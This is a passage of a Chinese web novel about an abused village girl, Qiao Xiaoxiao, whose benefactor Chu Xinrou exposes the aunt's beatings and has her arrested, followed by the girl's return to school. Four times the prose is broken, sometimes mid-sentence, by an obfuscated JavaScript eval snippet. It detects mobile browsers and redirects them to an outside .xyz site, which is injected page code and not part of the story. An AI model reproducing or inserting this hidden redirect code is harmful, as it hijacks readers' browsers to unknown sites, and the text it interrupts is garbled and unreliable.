这几天的守候耗尽了她的精力。可说实话,除了想念妹妹和大伯,她并不想回家。即便楚心柔的病情已经好转,她的心却始终悬着,总想再多看顾一会儿。 命运的安排总是奇妙。 不知何时起,对楚心柔的牵挂就像一粒种子,悄然落在乔潇潇心底最柔软的地方。 车窗外的阳光透过眼皮,在乔潇潇沉睡的脸上投下温暖的光影。 才离开月余,小山村却已显出几分陌生。 乔潇潇到大伯家门口的时候,心底本能的绷紧,开始紧张,她站在门口好半天,才“吱”的一声推开了门。 院子里,阳光斜斜地晒着簸箕里的豆角,黄素兰正抱着糯糯坐在小板凳上,听见动静猛地抬头,脸色瞬间阴沉下来,“都几号了?!你还知道回来?!” 糯糯看见姐姐的瞬间,眼睛倏地亮了起来。她挣开黄素兰的怀抱,跌跌撞撞地扑向乔潇潇,脏兮兮的小脸在姐姐裤腿上蹭出一道道灰印。她急切地比划着,眼里盛满了一个月的思念。 ——姐姐,我好想你! 自乔潇潇走后,这个家便乱了套。黄素兰原以为这丫头平日带娃喂猪、洗衣做饭都是顺手的事,真等人走了才惊觉,那些看似轻松的活竟能累断人的腰。 眼下正值秋收,乔半山整日泡在玉米地里,更让黄素兰积攒了满腹怨气。 “真当自己是城里金凤凰了?”她啐了一口, “10班吊车尾的书有什么好读?白糟蹋钱!” 乔潇潇弯腰抱起妹妹,用袖子轻轻擦去孩子脸上的污渍,对身后尖利的咒骂恍若未闻。 她抱着妹妹进了屋,打来温水洗澡。糯糯坐在木盆里,水珠顺着她瘦小的肩膀滚落。换上新衣裳后,糯糯兴奋地在床上蹦跳,突然揪起自己一缕头发嗅了嗅,眼睛顿时弯成了月牙。 ——姐姐洗的,香香的。 屋外,木盆里堆积的衣物散发着淡淡的霉味,袖口和领子上的污渍已经凝固成顽固的痕迹。乔潇潇蹲在井台边,搓衣板抵在腰间,肥皂泡沾满了她的手臂。随着每一下用力的揉搓,井水渐渐变得浑浊。 月光悄悄爬上晾衣绳的时候,晾晒的衣物随风轻轻摆动,乔潇潇才发现自己的掌心已经磨得发红。 灶膛里的火渐渐熄灭时,乔半山扛着镰刀跨进了院门。镰刀上还沾着玉米叶的碎屑,在月光下泛着青白的光。他看见灶台边忙碌的身影,嘴角扯出一个疲惫的笑:“回来了?” 那笑容里掺杂着太多东西——欣慰、歉疚、还有这一个月来积攒的无可奈何。自从潇潇去上学,这个家就像断了发条的钟,怎么走都不对劲。 敏感如乔潇潇从大伯的笑容中读懂了一切,她紧低着头:“嗯,吃饭吧。” 因为大伯在,乔潇潇是能上桌吃饭的,她跟以前一样,缩在角落,粗糙的豆饭刮得喉咙生疼。 她小口小口地咽着,连菜汤都不敢舀。乔半山突然夹了块排骨放进她碗里,油花在米饭上晕开:“书读的怎么样?” 乔潇潇不敢吃,把排骨夹到了妹妹碗里。 黄素兰把腌菜碟子摔得砰砰响:“瞧瞧,才出去几天,连家里的饭菜都入不了眼了!” 正在啃骨头的糯糯听见妈妈的话,把手里的吃剩下的骨头扔向她,乌溜溜的眼睛瞪得滚圆。 ——坏妈妈!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573076|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>乔潇潇低着头,抿着唇,说:“还好。” “跟同学们相处的还好么?” “嗯。” “我看你脸色不是很好,又熬夜看书了吧?” “嗯。” …… 乔半山问什么,乔潇潇都低着头,一直到他问,“楚心柔怎么样,对你好吗?” 乔潇潇抬起了头,又用力地点了点头。 黄素兰冷嘲热讽:“哟,给点甜头就找不着北了?城里人能有什么好心?表面装得人模人样,背地里指不定干什么腌臜事呢!” 话音未落,“砰”的一声,乔潇潇猛地将碗筷砸在桌上,她涨红了脸,一下子站了起来。 错愕中黄素兰的咒骂瞬间卡在了喉咙里,乔半山张着嘴愣在原地,连糯糯都忘记了咀嚼,呆呆地望着姐姐。 从乔潇潇到这个家开始,她就从没有忤逆过黄素兰。 “你、你反了天了!”黄素兰指着乔潇潇发抖的背影尖叫着:“看看!这才出去几天,都敢摔碗摔筷了!” 乔潇潇头也不回地冲出屋子,她死死攥紧拳头。黄素兰那些刺耳的咒骂她可以充耳不闻,什么都可以忍,但唯独关于楚心柔的,半个字都不行! 自那晚的冲突后,黄素兰看她的眼神愈发尖刻。乔潇潇早已习以为常,白日里沉默地操持家务、照看妹妹,晚上就借着月光温习功课。无论黄素兰说什么,她都不吱声,只是心里一天比一天更热忱的期待8号的到来。 这几天,楚心柔经常会给她发信息,问她怎么样,潇潇回的从来都是很好,让她放心。 她很想姐姐,很想很想。 楚心柔也想她。 杨绯棠斜眼打量着身边魂不守舍的楚心柔,“你想潇潇了?” 楚心柔摇了摇头,不愿意承认。 她只是有些不适应,明明乔潇潇每次在家,都是在小心翼翼的忙碌,就连呼吸都仿佛在克制,可家里到处都是她的影子。早上,再也没有人给她做可口的饭菜,夕阳西下,画板前也只有她一个人。到了夜里,楚心柔还是习惯性的去客厅看一眼,那个小小的角落里,只有孤孤单单的书桌。 杨绯棠拧开矿泉水,喝了一口:“哦,不想得了,本来我还想说咱去万柳镇玩一天,顺便把那小可怜带回来呢。” 楚心柔“唰”地一下子抬起了头,杨绯棠露出得逞的笑容,“要不,现在就出发?” 楚心柔点了点头,“既然你想去玩,我就勉为其难地陪着吧。” 杨绯棠:…… 楚心柔看着她手里的瓶子,“别扔,给潇潇留着,放到门口的编织袋里。” 杨绯棠:…… 就这,还说不想呢? 杨绯棠本来是好心带楚心柔去万柳镇,给她一个见乔潇潇的理由,可怎么也没有想到,这次出行,让相识这么久以来的她第一次见到楚心柔动怒。 17.第 17 章 ——如果没有见过阳光,黑暗中的日子或许不会这样难熬。 短短一句话,道尽了乔潇潇这些日子来的心境。与楚心柔相识不过月余,她却像一束光照进了她灰暗的人生。那些经年累月的打骂、刻薄、漠视与隐忍,在尝过温柔的滋味后,竟都化作了难以抑制的委屈与思念。 七号下午,想着即将返程,乔潇潇记挂着姐姐爱吃清淡,忙完家务、哄睡糯糯并托付给邻居牛哥照看后,便拎着竹篮上了山。她想采些新鲜的野菜,回去给姐姐包顿饺子。 一想到楚心柔,乔潇潇的嘴角就不自觉地上扬,脚步也轻快起来。挂念着妹妹在家,她动作麻利,不到一个小时就采了满满一篮野菜。 当乔潇潇提着沉甸甸的收获回到家时,迎接她的是糯糯撕心裂肺的哭声和黄素兰不堪入耳的咒骂声。 乔潇潇咬了咬唇,她站在斑驳的大门前,手指悬在半空,迟迟不敢推开那扇门。 糯糯透过门缝看见了她的身影,立即挣脱束缚,跌跌撞撞地扑了过来,小小的身子紧紧抱住乔潇潇的腿,喉咙里“呀呀”含糊不清地喊着。她还是个不懂世事的孩子,因为前些日子的分别,患上了严重的分离焦虑,姐姐离开一会儿都难过不已。 乔潇潇刚弯下腰想抱妹妹,黄素兰就举着鸡毛掸子冲了出来,脸上写满了愤怒:“去城里浪荡还不够?现在又把你妹妹一个人扔家里?” “我没有,我托牛哥照看——啊!” 鸡毛掸子带着风声狠狠落下,乔潇潇本能地闪躲,可这个动作却彻底点燃了黄素兰积压多日的怒火。自从乔潇潇从城里回来,黄素兰就对她处处看不顺眼。此刻乔半山不在家,终于可以借机肆无忌惮地发泄了。 “啪!啪!” 一下比一下狠厉的抽打中,鸡毛掸子的绒毛四散飞舞。糯糯哭着想上前保护姐姐,却被黄素兰粗暴地推开。一直到鸡毛掸子被打得秃了毛,乔潇潇抱头蹲在地上,眼泪横流,黄素兰才气喘吁吁地停手,脸上浮现出扭曲的快意。 邻居们听见乔家院里的哭喊声,只敢透过门缝窥探,摇头叹息后又悄悄合上门,谁都清楚乔潇潇的处境,也觉得可怜,可没人敢触黄素兰的霉头。 …… 暮色中的万柳镇像一幅水墨画徐徐展开,炊烟在青瓦白墙间袅袅升起,远处传来几声犬吠,与城市的车水马龙截然不同。 杨绯棠深吸一口带着稻香的空气,张开双臂转了个圈:“亚拉索,这就是青藏高——” 她这一口气还没喘上来,楚心柔已经拎着甜品盒迫不及待地往乔潇潇家的方向走,盒子里装着草莓慕斯,她特意让师傅多加了一层奶油,想着潇潇吃到时眼睛发亮又不好意思的样子,楚心柔的脚步不自觉地又加快了几分。 往常这个时候,村长宋秋早该闻讯赶来相迎了。但今日楚心柔特意没通知人,她只想悄悄地,看看潇潇在无人处真实的生活模样。 没人带路也有不方便,两人在错综复杂的村巷里渐渐迷失了方向。 杨绯棠拦住一位拄拐的老太太:“大娘,请问乔潇潇家怎么走?” 老太太浑浊的眼睛骤然睁大,枯瘦的手连连摆动,像避瘟神似的快步离去,拐杖在石板路上敲出慌乱的声响。 杨绯棠错愕地望向楚心柔,楚心柔蹙起眉头,转向旁边正在搬运木料的汉子:“大哥,请问乔潇潇家是往这边走吗?” 汉子直起腰,在裤子上蹭了蹭手上的木屑,黝黑的脸上浮现出局促的神情:“顺着这个坡下去,第三户就是。不过……”他欲言又止地搓着手,“你们这会儿最好别去。” 楚心柔心头蓦地一紧:“出什么事了?” “刚听我婆娘说……”汉子压低声音,“那丫头又挨打了,这次打得狠,鸡毛掸子都打断了。” 这句话像火星溅进油锅,杨绯棠当即破口大骂:“**他妈的,打孩子吗?!” 可当她转头看见楚心柔的眼神时,剩下的脏话都卡在了喉咙里。 认识楚心柔这么多年,杨绯棠从未见过她这副模样。那个永远含着温柔笑意的人,此刻眼底盛满了怒火。她紧抿的唇线绷得发白,握着甜品袋的手指节泛青,整个人像一张拉满的弓。 俩人到院子的时候,铁门是敞开的。 刚才发生的一切,吓坏了糯糯,她小小的身子蜷缩在茶几底下,死死捂着耳朵。她虽年幼却从小懂事儿,知道姐姐是因自己挨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578560|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打,躲在屋里不肯出来。乔潇潇安抚了两句,被黄素兰的呵斥声赶出来干活。 明明院子早已收拾得一尘不染,鸡鸭归笼,猪圈干净,晚饭的炊烟还在厨房飘着,本来已经没有什么要干的了,可黄素兰却翘着二郎腿坐在藤椅上,一边嗑瓜子一边吐壳,冷眼看着乔潇潇跪在瓷砖上擦拭。 “听说城里人都这么擦地。”黄素兰阴阳怪气地吐出个瓜子壳,“既然去过城里当个人了,就好好学着点。” 因为是在家里,不需要见外人,乔潇潇也就没有穿外套,她垂着头,凌乱的发丝遮住了表情,裸露的手臂上,一道道伤痕触目惊心,因为打的太狠了,紫红的淤青间有几处隐隐渗血。 她的动作机械而迟缓,指尖被冷水泡得发红,偶尔牵动到严重的伤口,她的肩膀会轻轻颤抖,却始终咬着下唇不发出一点声音。 黄素兰吐出的瓜子壳落在她刚擦净的地方,她只是默默挪过去重新擦拭,早已习惯了这样的折辱,她心里只有一个念头,赶紧把这最后两天熬过去,回去就能见到姐姐了。 “你们谁啊?站在人家门口看什么呢!” 黄素兰发现了异常,她抬头尖声呵斥,乔潇潇以为是过路的人,头都没抬,继续干活。 直到杨绯棠一声怒骂炸响在院子里:“你他妈的欺负一个孩子,还是不是人?!” 这声音……乔潇潇动作一滞,被打得发懵的耳朵嗡嗡作响,视线模糊地望向声源。当那张日思夜想的面容映入眼帘时,她整个人傻在了原地。 她……是在做梦吗? 黄素兰暴跳如雷:“你谁啊?你平什么管我们家事儿!哎——谁让你进来的?我要告你私闯民宅!” 乔潇潇的世界在那一刻骤然安静。 所有的声音都远去了,黄素兰刺耳的咒骂,院子里鸡鸭的嘈杂,甚至风吹过树叶的沙沙声全都消失不见。 她的眼里只剩下那个向她走来的人影。 她看着楚心柔在自己面前缓缓蹲下,浅色的裙摆像一朵绽放的花铺展在地上。熟悉的茉莉香气温柔地包裹着她,带着阳光和温暖的味道,下巴被冰凉的手指轻轻托起,她听见楚心柔的声音在发抖:“起来。” 18.第 18 章 ——起来。 乔潇潇感觉自己是被楚心柔捧起来的,眼眶的泪水在打转,她死死咬住下唇,将呜咽声咽了回去,颤抖着唤了声:“姐姐?” 她怎么会出现在这里? 楚心柔微微颔首,指尖已经气到发颤,却仍轻柔地替乔潇潇拭去泪痕:“是我。” 一听这话,刚才还趾高气扬的黄素兰顿时哑了火。她眼珠子一转,立即堆起满脸假笑:“哎哟,原来是楚小姐……就算是熟人,进门也该先打声招呼不是?” 杨绯棠冷笑着环抱双臂,眼神像刀子般锋利:“打招呼?好让你继续演你的''慈爱伯母''戏码?” 黄素兰克制着:“请问,您是?” 杨绯棠皮笑肉不笑:“我是你姑奶奶。” 黄素兰脸上的横肉抽搐了几下。她在村里横行多年,什么时候被人这般顶撞过?可瞥见楚心柔寒霜般的脸色,又慌忙挤出更谄媚的笑容:“您看这事儿闹的……要不留下来吃个便饭?正好说说潇潇这孩子的事,我听说啊,她没少受您照顾。” 黄素兰想起乔半山的话,楚心柔背景深不可测,每次来村里都前呼后拥,还特别有钱,眼里闪过一丝算计的光芒。 楚心柔微微抬眸,眼底凝着一层寒霜,“饭就不必了,但事情必须谈清楚。” 她的声音很轻,却像裹着凛冽的风雪。乔潇潇从未听过她这般语气,就连杨绯棠也怔住了,当看清楚心柔此刻的神情时,她知道,这次是动了真格。 确实是动了真格。 平日里紧闭的院门此刻纷纷敞开,村民们探头张望。警笛声撕破了村庄惯有的宁静,连树梢的麻雀都惊得四散飞起。 当地派出所所长亲自带队赶来。他进门先狠狠瞪了黄素兰一眼,直奔楚心柔而去:“是您报的警?哎呀,这家子啊,前几年也有人报过警,就是些内部矛盾纠纷。” 黄素兰此刻像只被拔了毛的母鸡,瑟缩在墙角,哪还有方才的嚣张气焰。 楚心柔端坐在木椅上,身侧是始终低着头的乔潇潇。她缓缓抬眼,目光如刀:“所以,就因为''家长里短'',孩子就该被打得遍体鳞伤?就因为''家庭矛盾''——” 她突然提高声调,手指轻轻抚过乔潇潇腕上的淤青,“这些伤痕就成了理所应当?” 所长开始搓手,“每次去派出所,潇潇都说身上的伤是摔得,左邻右舍的又没人出来作证,一直证据不足,没办法立案。” 乔潇潇死死咬着唇。 黄素兰暗自松了口气,嘴角甚至浮起一丝几不可见的得意。这些年不是没人报过警,那些多管闲事的外乡人,偶有教育批评,她最后不是都全身而退么? 楚心柔轻轻颔首,指尖在桌面上不轻不重地叩了两下:“我明白了。所长的意思是,这样明显的外伤可以解释成摔伤,涉及未成年人的案件也不必特别重视,关起门来调解就好?” 所长的额头沁出细密的汗珠,制服后背已经湿了一片:“这个……这个……立案是有流程的……不是打个电话就行,我们要的是证据。” “好。”楚心柔忽然站起身,裙摆划出一道凌厉的弧度,“既然走不了流程,那就不走了。” 满屋子人都愣住了。谁也没想到,这个平日里温声细语、见谁都带着三分笑意的女人,此刻竟会如此寸步不让。 楚心柔走出屋子,在院子里拨通了电话。她的声音压得很低,但语气异常坚定。挂断后,她深吸一口气,一转身,看见了角落里的乔潇潇,瘦小的身影在昏暗的灯光下显得格外单薄。 楚心柔走过去,轻轻抚摸着她凌乱的头发:“没事的。” 她的指尖触到乔潇潇额角还未消退的淤青时,微不可察地颤了颤。 乔潇潇抬起头,干裂的嘴唇被咬出一道血痕。她不是没想过反抗,可每次那些话就像沉重的锁链将她牢牢捆住——“你要是闹大了,这个家就散了”“妹妹会像你一样无家可归”,这些“为你好”的威胁,比拳头更让她无力挣扎。 “潇潇。”楚心柔的声音轻柔却有力,“错误如果没有代价,只会变本加厉。”她望进女孩躲闪的眼睛,“你有没有想过,在这样的环境里长大的妹妹,每天看着这一切,将来会变成什么样?” 这句话像一柄利刃,刺穿了乔潇潇长久以来的自欺欺人,她抿着唇望着楚心柔:“姐姐,她——” 楚心柔知道她终究是在意妹妹,轻声说:“我会把握度,但她一定要为做的错事负责。” 事情的发展超出了所有人的预料。不仅上级分局紧急介入,市局督查部门更是直接成立了专项调查组进驻万柳村。警笛声划破了村庄多年的沉寂,那些习以为常的“家事”,终于被撕开了血淋淋的真面目。 起初,黄素兰还心存侥幸。她以为警察只是例行公事地给乔潇潇做笔录,只要没人站出来作证,她就能像过去无数次那样全身而退。在被带进询问室前,她甚至肆无忌惮地在办公大厅撒泼打滚,像在村里那样,以为只要耍起无赖,就没人能拿她怎么样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583209|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到冰冷的手铐扣住她的手腕,约束带勒进她肥胖的身躯,当警察将一摞视频证据推到她面前时,这个嚣张了半辈子的女人才真正感到恐惧。 这些年,黄素兰早就摸清了警方的调查方式。每次警察来村里调取监控,她都百般阻挠。不仅自家坚决不装探头,就连邻居想安装摄像头,她都要闹得鸡犬不宁,确保镜头绝不会对准她家方向。在几次视频取证失败后,她愈发肆无忌惮,村头巷尾、田间地头,她一个不顺心,抬手就打,张嘴就骂。 尽管万柳村地处偏远,但是市局的“天眼”计划,硬性要求,即使是要求落后的村镇,也要在主干道上有至少70%的视频覆盖。 之前的办案人员嫌麻烦,根本不会一帧一帧地调取。 可如今,那些她以为永远不会被人看见的暴行,那些她以为永远说不清楚的“家务事”,被清晰地呈现在了高清监控画面里,当民警当着她的面宣读《家庭暴力告诫书》,她彻底慌了。 询问室外,乔潇潇从来没见过这样的黄素兰,她哭着跪在她的脚下,任周边人怎么拽都拽不起来,鼻涕一把眼泪一把的:“潇潇啊,我知道错了,你看在你大伯、你妹妹……我们在一个户口本上是一家人的份上,原谅我吧……我求你了,我不想去坐牢,我再也不敢了……” 或许吧。 或许人都有悔过的那一天。 可不疼,怎么会知道悔过? 结束的那天,已经是小长假的尾巴了。 楚心柔坐在潇潇曾经居住了五年的柴房里,看着四处漏风的墙壁,手摸了摸冰冷生硬的床铺,“等她出来,不要再骚扰潇潇。” 乔半山闷头抽着焊烟,一言不发。 楚心柔:“这些年,黄素兰的行为,你虽然没有参与,但也一直在纵容。” 乔半山抬起头,目光浑浊地看着楚心柔,声音很虚:“她已经被行政拘留15日了。” 已经付出代价了。 楚心柔抱着胳膊,冷淡地提示:“长期虐待未成年,是要刑事拘留的。” 如果不是顾忌潇潇的心思,监控里的画面,远不止看到的那么多。 乔半山不敢再说话,一口一口地狠狠地抽着烟,楚心柔平静的环视了房间一周:“我要带走她。” 乔半山猛地抬起头,楚心柔看着他的眼睛,不躲不闪:“我会把房子买好,等她一满18岁,就把户口迁走。” 村里、镇里、乡里、城里,潇潇喜欢哪儿,她就买哪儿。 19.第 19 章 这一切,对乔潇潇而言,恍若一场荒诞的梦。 村里人总爱嚼舌根,说她命硬克亲,咒得父亲早逝,又害得糯糯成了哑巴。更有人指指点点,说她骨头软,被打得遍体鳞伤也不晓得跑,换作旁人早就反抗或逃之夭夭了。 可谁又知道,从五岁起,父亲的拳脚就成了她最熟悉的“疼爱”。十岁那年,是大伯把她从阴冷潮湿的牛棚里牵出来,给了她一方遮风挡雨的屋檐。 也许,她确实该逃的。 但妹妹那双湿漉漉的眼睛,大伯“吧嗒”“吧嗒”抽旱烟时皱起的眉头,还有——八岁那年她逃进深山差点喂了狼,十二岁寒冬出走冻得险些截肢……这些记忆像锁链一样,将她牢牢拴在了这片土地上。 她早已向命运低下了头。 三中班会上,宋洋让同学们畅谈理想。听着同龄人高谈阔论要当宇航员、科学家,乔潇潇只是把头埋得更低了。那些闪闪发光的梦想,对她来说就像天上的星星,看得见,却永远够不着。 当老师点到乔潇潇时,她缓缓站起身,瘦削的肩膀微微瑟缩着。教室里此起彼伏的议论声让她攥紧了校服下摆,指甲几乎要掐进掌心的肉里。 “我……”她的声音轻得像一片落叶飘落,“想要一个属于自己的家。” 窗外的阳光斜斜地打在她单薄的背影上,在地面投下一道细长的影子。 “不用很大……”她的目光落在自己磨破的鞋尖上,“三四十平就够了。”说到这儿,她突然抬起头,眼睛里闪过一丝微弱的光,“要是能有个晒得到太阳的小阳台就更好了。” 她喜欢阳光洒在身上的感觉,那么温暖,那么轻柔。 教室里爆发出一阵哄笑。后排的男生夸张地拍着桌子:“这也叫梦想?我家厕所都比这大!” 她的话语让在场的同学们哄堂大笑,可宋洋看着她的眼神却变得复杂了起来,在乔潇潇的脸上,她看到的都是自卑与小心翼翼,她所谓的梦想,是身边与她穿着一样校服的同学们本就拥有触手可及的,那一刻,宋洋隐隐的有些明白,潇潇之前那么热衷于“做生意”是为了什么了。 从小村子离开那天,糯糯抱着乔潇潇的腿哭的直流鼻涕,她已经好几天没有见到妈妈了,现在姐姐又离开,简直是要了她的命。 乔潇潇忍着眼泪,低下头,用力抱住妹妹,在她耳边说:“姐姐……姐姐在给你找学校,你放心,你乖乖的。” 因为糯糯身体的情况,一般的学校都不收留她,可那种专门学校,乔潇潇去看过,要么是价格高的让人咋舌,要么是环境简陋,里面坐着的孩子,说是学生更像是“犯人”,一个个没有自由,被看控着。 感觉到姐姐的眼泪一滴滴落在脸上,痒痒的,凉凉的,糯糯赶紧用小手胡乱擦了几把,她抬头看着姐姐,用手比划着,嘴还“呜呜”地发出沙哑的声音。 ——姐姐,糯糯乖,我不哭,你要好好读书,糯糯给你加油! 她还那么小,却知道姐姐过着的是怎么样地狱一般水深火热的生活。 糯糯很用力很用力地想要保护姐姐,都要给妈妈跪下来了,求她别打姐姐,可每一次,黄素兰都会用力地推她一把,要么就是拧她一把:“小兔崽子,我养你是为了让你给外人说话的吗?你记住了,妈妈这么恨她,是因为你!是她,你才成哑巴的!你才会一辈子都这样!” 这些话,没有让糯糯心里充满仇恨,反而让她痛苦自责。 她小小的人,话也说不出来,所有的一切都埋在了心里。 走之前。 乔潇潇把奶粉罐里的钱拿出了三百元偷偷地塞给了糯糯,她压低声音嘱咐着:“不要乱花,如果家里有什么事儿,第一时间去小卖铺打电话给姐姐,知道吗?” 糯糯用力地点了点头,小手死死掐着那三百块钱,她抬手比划着。 ——姐姐,我把你留给我的书,都自学完了,等我学好了,也去城里找你好吗? 乔潇潇鼻子一酸,眼泪差点流下来,她用力地抱着妹妹,几乎要把她嵌入怀里。 夕阳西下,槐树的影子在地上拖得很长。楚心柔倚着斑驳的树干,目光穿过飘落的槐花,静静落在远处的乔潇潇身上。 杨绯棠正低头摆弄手中的野花,指尖轻轻拨弄着花瓣,耳边的花朵衬得她侧脸格外明艳。她忽然抬头,“你不是帮糯糯找好学校了吗?”杨绯棠歪了歪头,花瓣随着她的动作轻轻颤动,“为什么不告诉她?” 风掠过树梢,沙沙作响。楚心柔垂下眼睫,斑驳的光影在她脸上游移,“你就是因为不懂女孩子敏感细腻的心思,才会这么惨。” 杨绯棠的脸一下子红了,暴跳:“说潇潇呢,你提我干什么?” 楚心柔摇了摇头,耐着性子,对面前的“大直女”解释着:“你以为她真的能安心的接受别人给予的资助吗?” “如果真的安心,她就不会在没白天没黑日争分夺秒秒地熬着读书,不会为了一分钱绞尽脑汁,更不会……”她顿了顿,喉头微微发紧,“不会把自己逼到这种地步。” 一串槐叶打着旋儿落在两人之间。楚心柔弯腰拾起,对着阳光眯起眼睛:”这世上哪有人天生爱吃苦?不过是没得选罢了。” “哎,也是。”杨绯棠叹了口气,“这次我过来,看到这一切,觉得我们潇潇啊,真是不容易,在这样的环境里,没长成个变.态就不错了。” 楚心柔对她瞪眼睛,杨绯棠耸了耸肩膀,做楚楚可怜状:“哎,真是只见新人笑不见旧人哭啊,才几天啊,一句都不让说了。” 岂止是不让说,她简直是用心在呵护乔潇潇。 当楚心柔牵着乔潇潇的手走出万柳村时,乔潇潇攥着磨得发白的背包带,指节微微发白,那里头装着她这些日子起早贪黑攒下的钱,如今已所剩无几。可奇怪的是,胸口那股常年萦绕的窒息与紧迫感,此刻却被另一种沉甸甸的暖意取代。 她们走着,堆积的乌云不知何时裂开一道缝隙,漏下一缕澄澈的天光,楚心柔回头看着这个比她矮一头瘦瘦小小的女孩,轻轻地拍了拍她的手。 她想要让她放心。 乔潇潇张了张嘴,最终只是更用力地回握住那只手。 远处,最后一朵乌云正被风吹散,露出整片湛蓝的天空。 这次回来,于乔潇潇来说,犹如重生般,她感觉自己的脚终于落在了地上。 她像是要破茧的蝶。 回到三中的日子,每一步都踏得格外踏实。她不再需要分神去应付那些撕扯她的琐碎恶意,所有的力气都可以用来做两件事:拼命学习,拼命赚钱。 清晨五点的晨光里,总能看到她埋头苦读的身影;课间休息,走廊尽头,她弓着的背影像一张拉满的弓。她要报答楚心柔,更要为糯糯挣一个未来,这两个念头像两簇火苗,在她眼底日夜不息地燃烧。 分班考试前的日子里,乔潇潇的进步快得惊人。宋洋每次路过教室,都能看见她咬着笔杆皱眉解题的样子,额前的碎发被汗水黏在鬓角,却浑然不觉。 模拟考试每个月都会进行,等临近寒假的时候,宋洋和其他老师在班力聊考试成绩,她端着茶缸的时候,腿忍不住嘚瑟地抖动:“你们重点班又怎么样?我看我们班潇潇啊,不比你们差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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楚心柔:“也要去富民街卖吗?” 乔潇潇摇头,之前和保洁大姐抢生意的事儿,给了她很大的教训:“我看了,旁边的街区花园,虽然人流量没有那么大,但是年轻人更多,更适合,也没有竞争的,那适合。” 甚至,因为校园卡滞销的过往,乔潇潇把风险因素也考虑了进去,如果真的卖不好,她就准备动用学校里的人脉了。 楚心柔勾着唇角:“乔老板,你累不累?” 乔潇潇被这么一叫,脸有点红,她抿了抿唇,“还好。” 楚心柔是放心她的,只是还是忍不住嘱咐,“如果事情太多,要学会抓大放下,明白么?” “嗯!” 晨跑时,整齐划一的校服队伍在操场上列队。没有人再会对着她的旧衣服指指点点,也没有人会注意到她脚上洗得发白的运动鞋。风扬起她束起的马尾,也扬起她眼中那簇愈发明亮的光。 ——命运的馈赠往往藏在最深的伤痕里。 那些曾经折磨乔潇潇的苦难,如今正在意想不到的地方绽放光芒。 体育课上,先不说什么跳高跳远,就是那让同学们闻风丧胆的800米与1000米长跑,大家一听就是哀嚎遍野。 现在家家户户的条件逐渐好了起来,不像是以前一个个孩子连饭吃不饱了,都有小肚子小懒肉了。 本来乔潇潇是怀里揣着英语小卡片,准备敷衍性的应付八百米的,可当体育老师鹿晨掏出为了刺激学生们的一兜子奖品——笔记本封皮在阳光下泛着诱人的光泽,钢笔的金属笔夹闪闪发亮。 乔潇潇的瞳孔骤然收缩,她准备抓大放小了,立即把英语卡片揣进了怀里。 那些年为了生计翻山越岭的腿脚,那些寒冬里为捡废品跑遍大街小巷的耐力,此刻都在血管里沸腾起来! 才第一圈,四班的几个女生就揉着眼睛,不可思议地问:“不是……刚刚——跑过去的那个是什么?” 20.第 20 章 乔潇潇这一跑,可不得了。 原本打着哈欠、漫不经心握着秒表的体育老师鹿晨,在看到成绩的那一刻,张大的嘴都忘了合上。她反复确认着秒表上的数字——2分35秒!距离这两年的校纪录没差多少,更让她震惊的是,冲过终点线的乔潇潇脸不红气不喘,甚至还有闲心伸长脖子打量奖品。 “老师,一等奖是什么?” 乔潇潇蹲在奖品桌前有些迫不及待,她早就想买支新钢笔了,只是一直没舍得,她心思都在那支闪着金属光泽的钢笔上,连鹿晨喊她都没听见。 “乔潇潇!过来!” 鹿晨又喊了一声,声音里带着掩饰不住的兴奋。跑道上其他学生东倒西歪,有撑着膝盖大喘气的,有直接躺平翻白眼的,还有个耍赖用走的。和这些狼狈的相比,只是脸颊微红的乔潇潇简直像个异类。 “老师您叫我?”乔潇潇这才回过神,小跑过来时连呼吸都是匀称的,“那个……钢笔是一等奖吗?” 鹿晨看着这个看似文弱的女生,手里的秒表还在发烫。她强压下发现璞玉的激动,声音都微微发颤:“来校田径队吧,我亲自带你!” 乔潇潇跑步的姿势明显是野路子,没经过专业训练就能跑出这样的成绩,体力还如此充沛。要是好好培养,假以时日,绝对能在省级比赛上大放异彩。鹿晨已经很多年没给省队输送过人才了,而她们学校曾经可是出过国家队选手的!多少家长挤破头想把孩子塞进她的田径队,现在这个天降的好苗子,肯定要欣喜若狂了吧? 乔潇潇一脸懵:“田径队干什么的?给钱吗?” 啊?这下轮到鹿晨发愣了,她以为自己听错了:“你说什么钱?” 乔潇潇看老师这样就明白了,立即低头:“老师,我不去,我很忙的。” 鹿晨:???!!! 本学期,乔潇潇第二次被找家长了,她站在教导室外,抠着墙皮,仰头望天。 